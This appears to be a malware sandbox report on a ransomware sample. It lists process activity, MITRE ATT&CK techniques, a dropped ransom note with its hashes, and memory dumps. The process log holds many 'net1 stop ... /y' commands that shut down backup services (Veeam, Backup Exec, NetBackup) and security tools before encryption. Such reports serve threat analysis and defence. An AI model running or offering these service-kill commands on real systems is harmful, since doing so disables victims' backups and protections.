C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
1⤵
PID:2936

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
1⤵
PID:1488

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
1⤵
PID:3052

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1312

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop zhudongfangyu /y
1⤵
PID:2340

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
1⤵
PID:3008

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBCFMonitorService /y
1⤵
PID:1484

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
1⤵
PID:1852

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
1⤵
PID:2800

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DefWatch /y
1⤵
PID:1872

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1973750060469753955-11252081-1673432732-14819218351735599795957121919-1241399043"
1⤵
PID:3052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
48760e26af70e1ce352706b2b90399af

SHA1
c0d21ae93313a4eafd1fae62f6a133c2cd85d625

SHA256
0c6be000534a072168206843f1dd542848a68a85c60563bc8d49bf434fd17eae

SHA512
2820c6b84e041aea12a00ff1ea09692cd6229f1cca1beed722a2df4b2ede90276b5137edbb7e51e529c32435a748dd954bbd45081e294b4981dac52bad255fb7

Download Submit
memory/764-8-0x0000000070870000-0x0000000070E1B000-memory.dmp

Filesize
5.7MB

Download
memory/764-7-0x0000000070870000-0x0000000070E1B000-memory.dmp

Filesize
5.7MB

Download
memory/764-6-0x0000000001D20000-0x0000000001D60000-memory.dmp

Filesize
256KB

Download
memory/764-5-0x0000000070870000-0x0000000070E1B000-memory.dmp

Filesize
5.7MB

Download
memory/1696-0-0x00000000009A0000-0x00000000009BC000-memory.dmp

Filesize
112KB

Download
memory/1696-1-0x0000000074C50000-0x000000007533E000-memory.dmp

Filesize
6.9MB

Download
memory/1696-2-0x0000000002440000-0x0000000002480000-memory.dmp

Filesize
256KB

Download
memory/1696-127-0x0000000074C50000-0x000000007533E000-memory.dmp

Filesize
6.9MB

Download